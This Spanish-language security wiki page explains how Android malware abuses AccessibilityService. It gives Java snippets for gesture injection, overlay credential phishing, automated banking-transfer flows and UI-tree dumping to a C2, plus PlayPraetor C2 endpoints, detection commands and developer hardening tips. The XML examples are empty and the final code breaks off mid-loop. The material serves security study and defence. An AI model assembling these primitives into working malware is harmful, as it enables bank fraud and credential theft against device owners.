# Abuso del Accessibility Service en Android {{#include ../../banners/hacktricks-training.md}} ## Resumen `AccessibilityService` fue creado para ayudar a usuarios con discapacidades a interactuar con dispositivos Android. Desafortunadamente, las mismas **potentes APIs de automatización** (navegación global, entrada de texto, envío de gestos, ventanas overlay…) pueden ser aprovechadas por malware para obtener **control remoto completo** del dispositivo _sin privilegios de root_. Los troyanos bancarios modernos para Android y los Remote-Access-Trojans (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** y muchos otros siguen la misma receta: 1. Social-engineer a la víctima para que habilite un servicio de accessibility malicioso (el permiso *BIND_ACCESSIBILITY_SERVICE* se considera "de alto riesgo" y requiere una acción explícita del usuario). 2. Aprovechar el servicio para * capturar cada evento de UI y texto que aparece en pantalla, * inyectar gestos sintéticos (`dispatchGesture`) y acciones globales (`performGlobalAction`) para automatizar cualquier tarea que el operador desee, * dibujar overlays a pantalla completa sobre apps legítimas usando el tipo de ventana **TYPE_ACCESSIBILITY_OVERLAY** (¡sin el prompt de `SYSTEM_ALERT_WINDOW`!), * conceder silenciosamente permisos runtime adicionales haciendo clic en los diálogos del sistema en nombre de la víctima. 3. Exfiltrar datos o realizar **On-Device-Fraud (ODF)** en tiempo real mientras el usuario está viendo una pantalla perfectamente normal. --- ## Solicitar el permiso ```xml ``` El XML complementario define cómo se verá el diálogo falso: ```xml ``` --- ## Primitivas de automatización de UI remota ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change } // Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); } // Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } } ``` Con solo estas dos APIs un atacante puede: * Desbloquear la pantalla, abrir la app bancaria, navegar su árbol de UI y enviar un formulario de transferencia. * Aceptar cada diálogo de permisos que aparezca. * Instalar/actualizar APKs adicionales vía el intent de Play Store. --- ## Patrones de abuso ### 1. Overlay Phishing (Credential Harvesting) Se añade un `WebView` transparente u opaco al window manager: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` La víctima escribe credenciales en el formulario falso mientras la app en segundo plano recibe los mismos gestos: nunca se muestra el sospechoso aviso "draw over other apps". > Ejemplo detallado: la sección *Accessibility Overlay Phishing* dentro de la página Tapjacking. ### 2. Automatización de fraude en el dispositivo Familias de malware como **PlayPraetor** mantienen un canal WebSocket persistente donde el operador puede emitir comandos de alto nivel (`init`, `update`, `alert_arr`, `report_list`, …). El servicio traduce esos comandos en los gestos de bajo nivel descritos arriba, logrando transacciones no autorizadas en tiempo real que eluden fácilmente la autenticación multifactor ligada a ese mismo dispositivo. ### 3. Transmisión y monitorización de pantalla Combinando la **MediaProjection API** con una librería cliente RTMP, el RAT puede emitir el framebuffer en vivo a `rtmp://:1935/live/`, dando al adversario una conciencia situacional perfecta mientras el motor de Accessibility maneja la interfaz de usuario. --- ## PlayPraetor – flujo de trabajo de command & control 1. **HTTP(S) heartbeat** – iterar sobre una lista codificada hasta que un dominio responda `POST /app/searchPackageName` con el C2 activo. 2. **WebSocket (port 8282)** – comandos JSON bidireccionales: * `update` – enviar nuevas conf/APKs * `alert_arr` – configurar plantillas de overlay * `report_list` – enviar lista de nombres de paquetes objetivo * `heartbeat_web` – mantener la conexión 3. **RTMP (port 1935)** – transmisión de pantalla/video en vivo. 4. **REST exfiltration** – * `/app/saveDevice` (huella) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (credenciales bancarias) El **AccessibilityService** es el motor local que convierte esos comandos en la nube en interacciones físicas. --- ## Detectando servicios de accesibilidad maliciosos * `adb shell settings get secure enabled_accessibility_services` * Ajustes → Accesibilidad → *Servicios descargados* – busca apps que **no** provengan de Google Play. * Las soluciones MDM / EMM pueden imponer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear servicios instalados fuera de Google Play. * Analiza los servicios en ejecución: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- ## Recomendaciones de hardening para desarrolladores de apps * Marcar vistas sensibles con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). * Combina `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` para prevenir tap/overlay hijacking. * Detecta overlays consultando `WindowManager.getDefaultDisplay().getFlags()` o la API `ViewRootImpl`. * Rechaza operar cuando `Settings.canDrawOverlays()` **o** un Accessibility service no confiable esté activo. --- ## Hoja rápida de automatización ATS (Accessibility-driven) El malware puede automatizar por completo una app bancaria con solo las Accessibility APIs. Primitivas genéricas: ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ``` Flujo de ejemplo (checo → etiquetas en inglés): - "Nová platba" (Nuevo pago) → hacer clic - "Zadat platbu" (Ingresar pago) → hacer clic - "Nový příjemce" (Nuevo destinatario) → hacer clic - "Domácí číslo účtu" (Número de cuenta nacional) → enfocar y `ACTION_SET_TEXT` - "Další" (Siguiente) → hacer clic → … "Zaplatit" (Pagar) → hacer clic → introducir PIN Fallback: coordenadas codificadas con `dispatchGesture` cuando la búsqueda de texto falla debido a widgets personalizados. También observado: pasos previos a `check_limit` y `limit` navegando a la UI de límites y aumentando los límites diarios antes de la transferencia. ## Pseudo-transmisión de pantalla basada en texto Para control remoto de baja latencia, en lugar de transmisión de video completa, volcar una representación textual del árbol de la interfaz de usuario actual y enviarla repetidamente al C2. ```java private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ if (n==null) return; Rect b = new Rect(); n.getBoundsInScreen(b); CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); sb.append(indent).append("[").append(cls).append("] ") .append(txt==null?"":txt).append(" ") .append(b.toShortString()).append("\n"); for (int i=0;i